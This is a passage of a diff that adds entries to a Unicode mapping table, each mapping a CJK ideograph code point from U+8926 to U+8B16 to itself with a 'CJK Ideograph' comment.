+ ["\u8926", "\u8926"], /* CJK Ideograph */
+ ["\u8927", "\u8927"], /* CJK Ideograph */
+ ["\u8928", "\u8928"], /* CJK Ideograph */
+ ["\u8929", "\u8929"], /* CJK Ideograph */
+ ["\u892A", "\u892A"], /* CJK Ideograph */
+ ["\u892B", "\u892B"], /* CJK Ideograph */
+ ["\u892C", "\u892C"], /* CJK Ideograph */
+ ["\u892D", "\u892D"], /* CJK Ideograph */
+ ["\u892E", "\u892E"], /* CJK Ideograph */
+ ["\u892F", "\u892F"], /* CJK Ideograph */
+ ["\u8930", "\u8930"], /* CJK Ideograph */
+ ["\u8931", "\u8931"], /* CJK Ideograph */
+ ["\u8932", "\u8932"], /* CJK Ideograph */
+ ["\u8933", "\u8933"], /* CJK Ideograph */
+ ["\u8934", "\u8934"], /* CJK Ideograph */
+ ["\u8935", "\u8935"], /* CJK Ideograph */
+ ["\u8936", "\u8936"], /* CJK Ideograph */
+ ["\u8937", "\u8937"], /* CJK Ideograph */
+ ["\u8938", "\u8938"], /* CJK Ideograph */
+ ["\u8939", "\u8939"], /* CJK Ideograph */
+ ["\u893A", "\u893A"], /* CJK Ideograph */
+ ["\u893B", "\u893B"], /* CJK Ideograph */
+ ["\u893C", "\u893C"], /* CJK Ideograph */
+ ["\u893D", "\u893D"], /* CJK Ideograph */
+ ["\u893E", "\u893E"], /* CJK Ideograph */
+ ["\u893F", "\u893F"], /* CJK Ideograph */
+ ["\u8940", "\u8940"], /* CJK Ideograph */
+ ["\u8941", "\u8941"], /* CJK Ideograph */
+ ["\u8942", "\u8942"], /* CJK Ideograph */
+ ["\u8943", "\u8943"], /* CJK Ideograph */
+ ["\u8944", "\u8944"], /* CJK Ideograph */
+ ["\u8945", "\u8945"], /* CJK Ideograph */
+ ["\u8946", "\u8946"], /* CJK Ideograph */
+ ["\u8947", "\u8947"], /* CJK Ideograph */
+ ["\u8948", "\u8948"], /* CJK Ideograph */
+ ["\u8949", "\u8949"], /* CJK Ideograph */
+ ["\u894A", "\u894A"], /* CJK Ideograph */
+ ["\u894B", "\u894B"], /* CJK Ideograph */
+ ["\u894C", "\u894C"], /* CJK Ideograph */
+ ["\u894D", "\u894D"], /* CJK Ideograph */
+ ["\u894E", "\u894E"], /* CJK Ideograph */
+ ["\u894F", "\u894F"], /* CJK Ideograph */
+ ["\u8950", "\u8950"], /* CJK Ideograph */
+ ["\u8951", "\u8951"], /* CJK Ideograph */
+ ["\u8952", "\u8952"], /* CJK Ideograph */
+ ["\u8953", "\u8953"], /* CJK Ideograph */
+ ["\u8954", "\u8954"], /* CJK Ideograph */
+ ["\u8955", "\u8955"], /* CJK Ideograph */
+ ["\u8956", "\u8956"], /* CJK Ideograph */
+ ["\u8957", "\u8957"], /* CJK Ideograph */
+ ["\u8958", "\u8958"], /* CJK Ideograph */
+ ["\u8959", "\u8959"], /* CJK Ideograph */
+ ["\u895A", "\u895A"], /* CJK Ideograph */
+ ["\u895B", "\u895B"], /* CJK Ideograph */
+ ["\u895C", "\u895C"], /* CJK Ideograph */
+ ["\u895D", "\u895D"], /* CJK Ideograph */
+ ["\u895E", "\u895E"], /* CJK Ideograph */
+ ["\u895F", "\u895F"], /* CJK Ideograph */
+ ["\u8960", "\u8960"], /* CJK Ideograph */
+ ["\u8961", "\u8961"], /* CJK Ideograph */
+ ["\u8962", "\u8962"], /* CJK Ideograph */
+ ["\u8963", "\u8963"], /* CJK Ideograph */
+ ["\u8964", "\u8964"], /* CJK Ideograph */
+ ["\u8965", "\u8965"], /* CJK Ideograph */
+ ["\u8966", "\u8966"], /* CJK Ideograph */
+ ["\u8967", "\u8967"], /* CJK Ideograph */
+ ["\u8968", "\u8968"], /* CJK Ideograph */
+ ["\u8969", "\u8969"], /* CJK Ideograph */
+ ["\u896A", "\u896A"], /* CJK Ideograph */
+ ["\u896B", "\u896B"], /* CJK Ideograph */
+ ["\u896C", "\u896C"], /* CJK Ideograph */
+ ["\u896D", "\u896D"], /* CJK Ideograph */
+ ["\u896E", "\u896E"], /* CJK Ideograph */
+ ["\u896F", "\u896F"], /* CJK Ideograph */
+ ["\u8970", "\u8970"], /* CJK Ideograph */
+ ["\u8971", "\u8971"], /* CJK Ideograph */
+ ["\u8972", "\u8972"], /* CJK Ideograph */
+ ["\u8973", "\u8973"], /* CJK Ideograph */
+ ["\u8974", "\u8974"], /* CJK Ideograph */
+ ["\u8975", "\u8975"], /* CJK Ideograph */
+ ["\u8976", "\u8976"], /* CJK Ideograph */
+ ["\u8977", "\u8977"], /* CJK Ideograph */
+ ["\u8978", "\u8978"], /* CJK Ideograph */
+ ["\u8979", "\u8979"], /* CJK Ideograph */
+ ["\u897A", "\u897A"], /* CJK Ideograph */
+ ["\u897B", "\u897B"], /* CJK Ideograph */
+ ["\u897C", "\u897C"], /* CJK Ideograph */
+ ["\u897D", "\u897D"], /* CJK Ideograph */
+ ["\u897E", "\u897E"], /* CJK Ideograph */
+ ["\u897F", "\u897F"], /* CJK Ideograph */
+ ["\u8980", "\u8980"], /* CJK Ideograph */
+ ["\u8981", "\u8981"], /* CJK Ideograph */
+ ["\u8982", "\u8982"], /* CJK Ideograph */
+ ["\u8983", "\u8983"], /* CJK Ideograph */
+ ["\u8984", "\u8984"], /* CJK Ideograph */
+ ["\u8985", "\u8985"], /* CJK Ideograph */
+ ["\u8986", "\u8986"], /* CJK Ideograph */
+ ["\u8987", "\u8987"], /* CJK Ideograph */
+ ["\u8988", "\u8988"], /* CJK Ideograph */
+ ["\u8989", "\u8989"], /* CJK Ideograph */
+ ["\u898A", "\u898A"], /* CJK Ideograph */
+ ["\u898B", "\u898B"], /* CJK Ideograph */
+ ["\u898C", "\u898C"], /* CJK Ideograph */
+ ["\u898D", "\u898D"], /* CJK Ideograph */
+ ["\u898E", "\u898E"], /* CJK Ideograph */
+ ["\u898F", "\u898F"], /* CJK Ideograph */
+ ["\u8990", "\u8990"], /* CJK Ideograph */
+ ["\u8991", "\u8991"], /* CJK Ideograph */
+ ["\u8992", "\u8992"], /* CJK Ideograph */
+ ["\u8993", "\u8993"], /* CJK Ideograph */
+ ["\u8994", "\u8994"], /* CJK Ideograph */
+ ["\u8995", "\u8995"], /* CJK Ideograph */
+ ["\u8996", "\u8996"], /* CJK Ideograph */
+ ["\u8997", "\u8997"], /* CJK Ideograph */
+ ["\u8998", "\u8998"], /* CJK Ideograph */
+ ["\u8999", "\u8999"], /* CJK Ideograph */
+ ["\u899A", "\u899A"], /* CJK Ideograph */
+ ["\u899B", "\u899B"], /* CJK Ideograph */
+ ["\u899C", "\u899C"], /* CJK Ideograph */
+ ["\u899D", "\u899D"], /* CJK Ideograph */
+ ["\u899E", "\u899E"], /* CJK Ideograph */
+ ["\u899F", "\u899F"], /* CJK Ideograph */
+ ["\u89A0", "\u89A0"], /* CJK Ideograph */
+ ["\u89A1", "\u89A1"], /* CJK Ideograph */
+ ["\u89A2", "\u89A2"], /* CJK Ideograph */
+ ["\u89A3", "\u89A3"], /* CJK Ideograph */
+ ["\u89A4", "\u89A4"], /* CJK Ideograph */
+ ["\u89A5", "\u89A5"], /* CJK Ideograph */
+ ["\u89A6", "\u89A6"], /* CJK Ideograph */
+ ["\u89A7", "\u89A7"], /* CJK Ideograph */
+ ["\u89A8", "\u89A8"], /* CJK Ideograph */
+ ["\u89A9", "\u89A9"], /* CJK Ideograph */
+ ["\u89AA", "\u89AA"], /* CJK Ideograph */
+ ["\u89AB", "\u89AB"], /* CJK Ideograph */
+ ["\u89AC", "\u89AC"], /* CJK Ideograph */
+ ["\u89AD", "\u89AD"], /* CJK Ideograph */
+ ["\u89AE", "\u89AE"], /* CJK Ideograph */
+ ["\u89AF", "\u89AF"], /* CJK Ideograph */
+ ["\u89B0", "\u89B0"], /* CJK Ideograph */
+ ["\u89B1", "\u89B1"], /* CJK Ideograph */
+ ["\u89B2", "\u89B2"], /* CJK Ideograph */
+ ["\u89B3", "\u89B3"], /* CJK Ideograph */
+ ["\u89B4", "\u89B4"], /* CJK Ideograph */
+ ["\u89B5", "\u89B5"], /* CJK Ideograph */
+ ["\u89B6", "\u89B6"], /* CJK Ideograph */
+ ["\u89B7", "\u89B7"], /* CJK Ideograph */
+ ["\u89B8", "\u89B8"], /* CJK Ideograph */
+ ["\u89B9", "\u89B9"], /* CJK Ideograph */
+ ["\u89BA", "\u89BA"], /* CJK Ideograph */
+ ["\u89BB", "\u89BB"], /* CJK Ideograph */
+ ["\u89BC", "\u89BC"], /* CJK Ideograph */
+ ["\u89BD", "\u89BD"], /* CJK Ideograph */
+ ["\u89BE", "\u89BE"], /* CJK Ideograph */
+ ["\u89BF", "\u89BF"], /* CJK Ideograph */
+ ["\u89C0", "\u89C0"], /* CJK Ideograph */
+ ["\u89C1", "\u89C1"], /* CJK Ideograph */
+ ["\u89C2", "\u89C2"], /* CJK Ideograph */
+ ["\u89C3", "\u89C3"], /* CJK Ideograph */
+ ["\u89C4", "\u89C4"], /* CJK Ideograph */
+ ["\u89C5", "\u89C5"], /* CJK Ideograph */
+ ["\u89C6", "\u89C6"], /* CJK Ideograph */
+ ["\u89C7", "\u89C7"], /* CJK Ideograph */
+ ["\u89C8", "\u89C8"], /* CJK Ideograph */
+ ["\u89C9", "\u89C9"], /* CJK Ideograph */
+ ["\u89CA", "\u89CA"], /* CJK Ideograph */
+ ["\u89CB", "\u89CB"], /* CJK Ideograph */
+ ["\u89CC", "\u89CC"], /* CJK Ideograph */
+ ["\u89CD", "\u89CD"], /* CJK Ideograph */
+ ["\u89CE", "\u89CE"], /* CJK Ideograph */
+ ["\u89CF", "\u89CF"], /* CJK Ideograph */
+ ["\u89D0", "\u89D0"], /* CJK Ideograph */
+ ["\u89D1", "\u89D1"], /* CJK Ideograph */
+ ["\u89D2", "\u89D2"], /* CJK Ideograph */
+ ["\u89D3", "\u89D3"], /* CJK Ideograph */
+ ["\u89D4", "\u89D4"], /* CJK Ideograph */
+ ["\u89D5", "\u89D5"], /* CJK Ideograph */
+ ["\u89D6", "\u89D6"], /* CJK Ideograph */
+ ["\u89D7", "\u89D7"], /* CJK Ideograph */
+ ["\u89D8", "\u89D8"], /* CJK Ideograph */
+ ["\u89D9", "\u89D9"], /* CJK Ideograph */
+ ["\u89DA", "\u89DA"], /* CJK Ideograph */
+ ["\u89DB", "\u89DB"], /* CJK Ideograph */
+ ["\u89DC", "\u89DC"], /* CJK Ideograph */
+ ["\u89DD", "\u89DD"], /* CJK Ideograph */
+ ["\u89DE", "\u89DE"], /* CJK Ideograph */
+ ["\u89DF", "\u89DF"], /* CJK Ideograph */
+ ["\u89E0", "\u89E0"], /* CJK Ideograph */
+ ["\u89E1", "\u89E1"], /* CJK Ideograph */
+ ["\u89E2", "\u89E2"], /* CJK Ideograph */
+ ["\u89E3", "\u89E3"], /* CJK Ideograph */
+ ["\u89E4", "\u89E4"], /* CJK Ideograph */
+ ["\u89E5", "\u89E5"], /* CJK Ideograph */
+ ["\u89E6", "\u89E6"], /* CJK Ideograph */
+ ["\u89E7", "\u89E7"], /* CJK Ideograph */
+ ["\u89E8", "\u89E8"], /* CJK Ideograph */
+ ["\u89E9", "\u89E9"], /* CJK Ideograph */
+ ["\u89EA", "\u89EA"], /* CJK Ideograph */
+ ["\u89EB", "\u89EB"], /* CJK Ideograph */
+ ["\u89EC", "\u89EC"], /* CJK Ideograph */
+ ["\u89ED", "\u89ED"], /* CJK Ideograph */
+ ["\u89EE", "\u89EE"], /* CJK Ideograph */
+ ["\u89EF", "\u89EF"], /* CJK Ideograph */
+ ["\u89F0", "\u89F0"], /* CJK Ideograph */
+ ["\u89F1", "\u89F1"], /* CJK Ideograph */
+ ["\u89F2", "\u89F2"], /* CJK Ideograph */
+ ["\u89F3", "\u89F3"], /* CJK Ideograph */
+ ["\u89F4", "\u89F4"], /* CJK Ideograph */
+ ["\u89F5", "\u89F5"], /* CJK Ideograph */
+ ["\u89F6", "\u89F6"], /* CJK Ideograph */
+ ["\u89F7", "\u89F7"], /* CJK Ideograph */
+ ["\u89F8", "\u89F8"], /* CJK Ideograph */
+ ["\u89F9", "\u89F9"], /* CJK Ideograph */
+ ["\u89FA", "\u89FA"], /* CJK Ideograph */
+ ["\u89FB", "\u89FB"], /* CJK Ideograph */
+ ["\u89FC", "\u89FC"], /* CJK Ideograph */
+ ["\u89FD", "\u89FD"], /* CJK Ideograph */
+ ["\u89FE", "\u89FE"], /* CJK Ideograph */
+ ["\u89FF", "\u89FF"], /* CJK Ideograph */
+ ["\u8A00", "\u8A00"], /* CJK Ideograph */
+ ["\u8A01", "\u8A01"], /* CJK Ideograph */
+ ["\u8A02", "\u8A02"], /* CJK Ideograph */
+ ["\u8A03", "\u8A03"], /* CJK Ideograph */
+ ["\u8A04", "\u8A04"], /* CJK Ideograph */
+ ["\u8A05", "\u8A05"], /* CJK Ideograph */
+ ["\u8A06", "\u8A06"], /* CJK Ideograph */
+ ["\u8A07", "\u8A07"], /* CJK Ideograph */
+ ["\u8A08", "\u8A08"], /* CJK Ideograph */
+ ["\u8A09", "\u8A09"], /* CJK Ideograph */
+ ["\u8A0A", "\u8A0A"], /* CJK Ideograph */
+ ["\u8A0B", "\u8A0B"], /* CJK Ideograph */
+ ["\u8A0C", "\u8A0C"], /* CJK Ideograph */
+ ["\u8A0D", "\u8A0D"], /* CJK Ideograph */
+ ["\u8A0E", "\u8A0E"], /* CJK Ideograph */
+ ["\u8A0F", "\u8A0F"], /* CJK Ideograph */
+ ["\u8A10", "\u8A10"], /* CJK Ideograph */
+ ["\u8A11", "\u8A11"], /* CJK Ideograph */
+ ["\u8A12", "\u8A12"], /* CJK Ideograph */
+ ["\u8A13", "\u8A13"], /* CJK Ideograph */
+ ["\u8A14", "\u8A14"], /* CJK Ideograph */
+ ["\u8A15", "\u8A15"], /* CJK Ideograph */
+ ["\u8A16", "\u8A16"], /* CJK Ideograph */
+ ["\u8A17", "\u8A17"], /* CJK Ideograph */
+ ["\u8A18", "\u8A18"], /* CJK Ideograph */
+ ["\u8A19", "\u8A19"], /* CJK Ideograph */
+ ["\u8A1A", "\u8A1A"], /* CJK Ideograph */
+ ["\u8A1B", "\u8A1B"], /* CJK Ideograph */
+ ["\u8A1C", "\u8A1C"], /* CJK Ideograph */
+ ["\u8A1D", "\u8A1D"], /* CJK Ideograph */
+ ["\u8A1E", "\u8A1E"], /* CJK Ideograph */
+ ["\u8A1F", "\u8A1F"], /* CJK Ideograph */
+ ["\u8A20", "\u8A20"], /* CJK Ideograph */
+ ["\u8A21", "\u8A21"], /* CJK Ideograph */
+ ["\u8A22", "\u8A22"], /* CJK Ideograph */
+ ["\u8A23", "\u8A23"], /* CJK Ideograph */
+ ["\u8A24", "\u8A24"], /* CJK Ideograph */
+ ["\u8A25", "\u8A25"], /* CJK Ideograph */
+ ["\u8A26", "\u8A26"], /* CJK Ideograph */
+ ["\u8A27", "\u8A27"], /* CJK Ideograph */
+ ["\u8A28", "\u8A28"], /* CJK Ideograph */
+ ["\u8A29", "\u8A29"], /* CJK Ideograph */
+ ["\u8A2A", "\u8A2A"], /* CJK Ideograph */
+ ["\u8A2B", "\u8A2B"], /* CJK Ideograph */
+ ["\u8A2C", "\u8A2C"], /* CJK Ideograph */
+ ["\u8A2D", "\u8A2D"], /* CJK Ideograph */
+ ["\u8A2E", "\u8A2E"], /* CJK Ideograph */
+ ["\u8A2F", "\u8A2F"], /* CJK Ideograph */
+ ["\u8A30", "\u8A30"], /* CJK Ideograph */
+ ["\u8A31", "\u8A31"], /* CJK Ideograph */
+ ["\u8A32", "\u8A32"], /* CJK Ideograph */
+ ["\u8A33", "\u8A33"], /* CJK Ideograph */
+ ["\u8A34", "\u8A34"], /* CJK Ideograph */
+ ["\u8A35", "\u8A35"], /* CJK Ideograph */
+ ["\u8A36", "\u8A36"], /* CJK Ideograph */
+ ["\u8A37", "\u8A37"], /* CJK Ideograph */
+ ["\u8A38", "\u8A38"], /* CJK Ideograph */
+ ["\u8A39", "\u8A39"], /* CJK Ideograph */
+ ["\u8A3A", "\u8A3A"], /* CJK Ideograph */
+ ["\u8A3B", "\u8A3B"], /* CJK Ideograph */
+ ["\u8A3C", "\u8A3C"], /* CJK Ideograph */
+ ["\u8A3D", "\u8A3D"], /* CJK Ideograph */
+ ["\u8A3E", "\u8A3E"], /* CJK Ideograph */
+ ["\u8A3F", "\u8A3F"], /* CJK Ideograph */
+ ["\u8A40", "\u8A40"], /* CJK Ideograph */
+ ["\u8A41", "\u8A41"], /* CJK Ideograph */
+ ["\u8A42", "\u8A42"], /* CJK Ideograph */
+ ["\u8A43", "\u8A43"], /* CJK Ideograph */
+ ["\u8A44", "\u8A44"], /* CJK Ideograph */
+ ["\u8A45", "\u8A45"], /* CJK Ideograph */
+ ["\u8A46", "\u8A46"], /* CJK Ideograph */
+ ["\u8A47", "\u8A47"], /* CJK Ideograph */
+ ["\u8A48", "\u8A48"], /* CJK Ideograph */
+ ["\u8A49", "\u8A49"], /* CJK Ideograph */
+ ["\u8A4A", "\u8A4A"], /* CJK Ideograph */
+ ["\u8A4B", "\u8A4B"], /* CJK Ideograph */
+ ["\u8A4C", "\u8A4C"], /* CJK Ideograph */
+ ["\u8A4D", "\u8A4D"], /* CJK Ideograph */
+ ["\u8A4E", "\u8A4E"], /* CJK Ideograph */
+ ["\u8A4F", "\u8A4F"], /* CJK Ideograph */
+ ["\u8A50", "\u8A50"], /* CJK Ideograph */
+ ["\u8A51", "\u8A51"], /* CJK Ideograph */
+ ["\u8A52", "\u8A52"], /* CJK Ideograph */
+ ["\u8A53", "\u8A53"], /* CJK Ideograph */
+ ["\u8A54", "\u8A54"], /* CJK Ideograph */
+ ["\u8A55", "\u8A55"], /* CJK Ideograph */
+ ["\u8A56", "\u8A56"], /* CJK Ideograph */
+ ["\u8A57", "\u8A57"], /* CJK Ideograph */
+ ["\u8A58", "\u8A58"], /* CJK Ideograph */
+ ["\u8A59", "\u8A59"], /* CJK Ideograph */
+ ["\u8A5A", "\u8A5A"], /* CJK Ideograph */
+ ["\u8A5B", "\u8A5B"], /* CJK Ideograph */
+ ["\u8A5C", "\u8A5C"], /* CJK Ideograph */
+ ["\u8A5D", "\u8A5D"], /* CJK Ideograph */
+ ["\u8A5E", "\u8A5E"], /* CJK Ideograph */
+ ["\u8A5F", "\u8A5F"], /* CJK Ideograph */
+ ["\u8A60", "\u8A60"], /* CJK Ideograph */
+ ["\u8A61", "\u8A61"], /* CJK Ideograph */
+ ["\u8A62", "\u8A62"], /* CJK Ideograph */
+ ["\u8A63", "\u8A63"], /* CJK Ideograph */
+ ["\u8A64", "\u8A64"], /* CJK Ideograph */
+ ["\u8A65", "\u8A65"], /* CJK Ideograph */
+ ["\u8A66", "\u8A66"], /* CJK Ideograph */
+ ["\u8A67", "\u8A67"], /* CJK Ideograph */
+ ["\u8A68", "\u8A68"], /* CJK Ideograph */
+ ["\u8A69", "\u8A69"], /* CJK Ideograph */
+ ["\u8A6A", "\u8A6A"], /* CJK Ideograph */
+ ["\u8A6B", "\u8A6B"], /* CJK Ideograph */
+ ["\u8A6C", "\u8A6C"], /* CJK Ideograph */
+ ["\u8A6D", "\u8A6D"], /* CJK Ideograph */
+ ["\u8A6E", "\u8A6E"], /* CJK Ideograph */
+ ["\u8A6F", "\u8A6F"], /* CJK Ideograph */
+ ["\u8A70", "\u8A70"], /* CJK Ideograph */
+ ["\u8A71", "\u8A71"], /* CJK Ideograph */
+ ["\u8A72", "\u8A72"], /* CJK Ideograph */
+ ["\u8A73", "\u8A73"], /* CJK Ideograph */
+ ["\u8A74", "\u8A74"], /* CJK Ideograph */
+ ["\u8A75", "\u8A75"], /* CJK Ideograph */
+ ["\u8A76", "\u8A76"], /* CJK Ideograph */
+ ["\u8A77", "\u8A77"], /* CJK Ideograph */
+ ["\u8A78", "\u8A78"], /* CJK Ideograph */
+ ["\u8A79", "\u8A79"], /* CJK Ideograph */
+ ["\u8A7A", "\u8A7A"], /* CJK Ideograph */
+ ["\u8A7B", "\u8A7B"], /* CJK Ideograph */
+ ["\u8A7C", "\u8A7C"], /* CJK Ideograph */
+ ["\u8A7D", "\u8A7D"], /* CJK Ideograph */
+ ["\u8A7E", "\u8A7E"], /* CJK Ideograph */
+ ["\u8A7F", "\u8A7F"], /* CJK Ideograph */
+ ["\u8A80", "\u8A80"], /* CJK Ideograph */
+ ["\u8A81", "\u8A81"], /* CJK Ideograph */
+ ["\u8A82", "\u8A82"], /* CJK Ideograph */
+ ["\u8A83", "\u8A83"], /* CJK Ideograph */
+ ["\u8A84", "\u8A84"], /* CJK Ideograph */
+ ["\u8A85", "\u8A85"], /* CJK Ideograph */
+ ["\u8A86", "\u8A86"], /* CJK Ideograph */
+ ["\u8A87", "\u8A87"], /* CJK Ideograph */
+ ["\u8A88", "\u8A88"], /* CJK Ideograph */
+ ["\u8A89", "\u8A89"], /* CJK Ideograph */
+ ["\u8A8A", "\u8A8A"], /* CJK Ideograph */
+ ["\u8A8B", "\u8A8B"], /* CJK Ideograph */
+ ["\u8A8C", "\u8A8C"], /* CJK Ideograph */
+ ["\u8A8D", "\u8A8D"], /* CJK Ideograph */
+ ["\u8A8E", "\u8A8E"], /* CJK Ideograph */
+ ["\u8A8F", "\u8A8F"], /* CJK Ideograph */
+ ["\u8A90", "\u8A90"], /* CJK Ideograph */
+ ["\u8A91", "\u8A91"], /* CJK Ideograph */
+ ["\u8A92", "\u8A92"], /* CJK Ideograph */
+ ["\u8A93", "\u8A93"], /* CJK Ideograph */
+ ["\u8A94", "\u8A94"], /* CJK Ideograph */
+ ["\u8A95", "\u8A95"], /* CJK Ideograph */
+ ["\u8A96", "\u8A96"], /* CJK Ideograph */
+ ["\u8A97", "\u8A97"], /* CJK Ideograph */
+ ["\u8A98", "\u8A98"], /* CJK Ideograph */
+ ["\u8A99", "\u8A99"], /* CJK Ideograph */
+ ["\u8A9A", "\u8A9A"], /* CJK Ideograph */
+ ["\u8A9B", "\u8A9B"], /* CJK Ideograph */
+ ["\u8A9C", "\u8A9C"], /* CJK Ideograph */
+ ["\u8A9D", "\u8A9D"], /* CJK Ideograph */
+ ["\u8A9E", "\u8A9E"], /* CJK Ideograph */
+ ["\u8A9F", "\u8A9F"], /* CJK Ideograph */
+ ["\u8AA0", "\u8AA0"], /* CJK Ideograph */
+ ["\u8AA1", "\u8AA1"], /* CJK Ideograph */
+ ["\u8AA2", "\u8AA2"], /* CJK Ideograph */
+ ["\u8AA3", "\u8AA3"], /* CJK Ideograph */
+ ["\u8AA4", "\u8AA4"], /* CJK Ideograph */
+ ["\u8AA5", "\u8AA5"], /* CJK Ideograph */
+ ["\u8AA6", "\u8AA6"], /* CJK Ideograph */
+ ["\u8AA7", "\u8AA7"], /* CJK Ideograph */
+ ["\u8AA8", "\u8AA8"], /* CJK Ideograph */
+ ["\u8AA9", "\u8AA9"], /* CJK Ideograph */
+ ["\u8AAA", "\u8AAA"], /* CJK Ideograph */
+ ["\u8AAB", "\u8AAB"], /* CJK Ideograph */
+ ["\u8AAC", "\u8AAC"], /* CJK Ideograph */
+ ["\u8AAD", "\u8AAD"], /* CJK Ideograph */
+ ["\u8AAE", "\u8AAE"], /* CJK Ideograph */
+ ["\u8AAF", "\u8AAF"], /* CJK Ideograph */
+ ["\u8AB0", "\u8AB0"], /* CJK Ideograph */
+ ["\u8AB1", "\u8AB1"], /* CJK Ideograph */
+ ["\u8AB2", "\u8AB2"], /* CJK Ideograph */
+ ["\u8AB3", "\u8AB3"], /* CJK Ideograph */
+ ["\u8AB4", "\u8AB4"], /* CJK Ideograph */
+ ["\u8AB5", "\u8AB5"], /* CJK Ideograph */
+ ["\u8AB6", "\u8AB6"], /* CJK Ideograph */
+ ["\u8AB7", "\u8AB7"], /* CJK Ideograph */
+ ["\u8AB8", "\u8AB8"], /* CJK Ideograph */
+ ["\u8AB9", "\u8AB9"], /* CJK Ideograph */
+ ["\u8ABA", "\u8ABA"], /* CJK Ideograph */
+ ["\u8ABB", "\u8ABB"], /* CJK Ideograph */
+ ["\u8ABC", "\u8ABC"], /* CJK Ideograph */
+ ["\u8ABD", "\u8ABD"], /* CJK Ideograph */
+ ["\u8ABE", "\u8ABE"], /* CJK Ideograph */
+ ["\u8ABF", "\u8ABF"], /* CJK Ideograph */
+ ["\u8AC0", "\u8AC0"], /* CJK Ideograph */
+ ["\u8AC1", "\u8AC1"], /* CJK Ideograph */
+ ["\u8AC2", "\u8AC2"], /* CJK Ideograph */
+ ["\u8AC3", "\u8AC3"], /* CJK Ideograph */
+ ["\u8AC4", "\u8AC4"], /* CJK Ideograph */
+ ["\u8AC5", "\u8AC5"], /* CJK Ideograph */
+ ["\u8AC6", "\u8AC6"], /* CJK Ideograph */
+ ["\u8AC7", "\u8AC7"], /* CJK Ideograph */
+ ["\u8AC8", "\u8AC8"], /* CJK Ideograph */
+ ["\u8AC9", "\u8AC9"], /* CJK Ideograph */
+ ["\u8ACA", "\u8ACA"], /* CJK Ideograph */
+ ["\u8ACB", "\u8ACB"], /* CJK Ideograph */
+ ["\u8ACC", "\u8ACC"], /* CJK Ideograph */
+ ["\u8ACD", "\u8ACD"], /* CJK Ideograph */
+ ["\u8ACE", "\u8ACE"], /* CJK Ideograph */
+ ["\u8ACF", "\u8ACF"], /* CJK Ideograph */
+ ["\u8AD0", "\u8AD0"], /* CJK Ideograph */
+ ["\u8AD1", "\u8AD1"], /* CJK Ideograph */
+ ["\u8AD2", "\u8AD2"], /* CJK Ideograph */
+ ["\u8AD3", "\u8AD3"], /* CJK Ideograph */
+ ["\u8AD4", "\u8AD4"], /* CJK Ideograph */
+ ["\u8AD5", "\u8AD5"], /* CJK Ideograph */
+ ["\u8AD6", "\u8AD6"], /* CJK Ideograph */
+ ["\u8AD7", "\u8AD7"], /* CJK Ideograph */
+ ["\u8AD8", "\u8AD8"], /* CJK Ideograph */
+ ["\u8AD9", "\u8AD9"], /* CJK Ideograph */
+ ["\u8ADA", "\u8ADA"], /* CJK Ideograph */
+ ["\u8ADB", "\u8ADB"], /* CJK Ideograph */
+ ["\u8ADC", "\u8ADC"], /* CJK Ideograph */
+ ["\u8ADD", "\u8ADD"], /* CJK Ideograph */
+ ["\u8ADE", "\u8ADE"], /* CJK Ideograph */
+ ["\u8ADF", "\u8ADF"], /* CJK Ideograph */
+ ["\u8AE0", "\u8AE0"], /* CJK Ideograph */
+ ["\u8AE1", "\u8AE1"], /* CJK Ideograph */
+ ["\u8AE2", "\u8AE2"], /* CJK Ideograph */
+ ["\u8AE3", "\u8AE3"], /* CJK Ideograph */
+ ["\u8AE4", "\u8AE4"], /* CJK Ideograph */
+ ["\u8AE5", "\u8AE5"], /* CJK Ideograph */
+ ["\u8AE6", "\u8AE6"], /* CJK Ideograph */
+ ["\u8AE7", "\u8AE7"], /* CJK Ideograph */
+ ["\u8AE8", "\u8AE8"], /* CJK Ideograph */
+ ["\u8AE9", "\u8AE9"], /* CJK Ideograph */
+ ["\u8AEA", "\u8AEA"], /* CJK Ideograph */
+ ["\u8AEB", "\u8AEB"], /* CJK Ideograph */
+ ["\u8AEC", "\u8AEC"], /* CJK Ideograph */
+ ["\u8AED", "\u8AED"], /* CJK Ideograph */
+ ["\u8AEE", "\u8AEE"], /* CJK Ideograph */
+ ["\u8AEF", "\u8AEF"], /* CJK Ideograph */
+ ["\u8AF0", "\u8AF0"], /* CJK Ideograph */
+ ["\u8AF1", "\u8AF1"], /* CJK Ideograph */
+ ["\u8AF2", "\u8AF2"], /* CJK Ideograph */
+ ["\u8AF3", "\u8AF3"], /* CJK Ideograph */
+ ["\u8AF4", "\u8AF4"], /* CJK Ideograph */
+ ["\u8AF5", "\u8AF5"], /* CJK Ideograph */
+ ["\u8AF6", "\u8AF6"], /* CJK Ideograph */
+ ["\u8AF7", "\u8AF7"], /* CJK Ideograph */
+ ["\u8AF8", "\u8AF8"], /* CJK Ideograph */
+ ["\u8AF9", "\u8AF9"], /* CJK Ideograph */
+ ["\u8AFA", "\u8AFA"], /* CJK Ideograph */
+ ["\u8AFB", "\u8AFB"], /* CJK Ideograph */
+ ["\u8AFC", "\u8AFC"], /* CJK Ideograph */
+ ["\u8AFD", "\u8AFD"], /* CJK Ideograph */
+ ["\u8AFE", "\u8AFE"], /* CJK Ideograph */
+ ["\u8AFF", "\u8AFF"], /* CJK Ideograph */
+ ["\u8B00", "\u8B00"], /* CJK Ideograph */
+ ["\u8B01", "\u8B01"], /* CJK Ideograph */
+ ["\u8B02", "\u8B02"], /* CJK Ideograph */
+ ["\u8B03", "\u8B03"], /* CJK Ideograph */
+ ["\u8B04", "\u8B04"], /* CJK Ideograph */
+ ["\u8B05", "\u8B05"], /* CJK Ideograph */
+ ["\u8B06", "\u8B06"], /* CJK Ideograph */
+ ["\u8B07", "\u8B07"], /* CJK Ideograph */
+ ["\u8B08", "\u8B08"], /* CJK Ideograph */
+ ["\u8B09", "\u8B09"], /* CJK Ideograph */
+ ["\u8B0A", "\u8B0A"], /* CJK Ideograph */
+ ["\u8B0B", "\u8B0B"], /* CJK Ideograph */
+ ["\u8B0C", "\u8B0C"], /* CJK Ideograph */
+ ["\u8B0D", "\u8B0D"], /* CJK Ideograph */
+ ["\u8B0E", "\u8B0E"], /* CJK Ideograph */
+ ["\u8B0F", "\u8B0F"], /* CJK Ideograph */
+ ["\u8B10", "\u8B10"], /* CJK Ideograph */
+ ["\u8B11", "\u8B11"], /* CJK Ideograph */
+ ["\u8B12", "\u8B12"], /* CJK Ideograph */
+ ["\u8B13", "\u8B13"], /* CJK Ideograph */
+ ["\u8B14", "\u8B14"], /* CJK Ideograph */
+ ["\u8B15", "\u8B15"], /* CJK Ideograph */
+ ["\u8B16", "\u8B16"], /* CJK Ideograph */
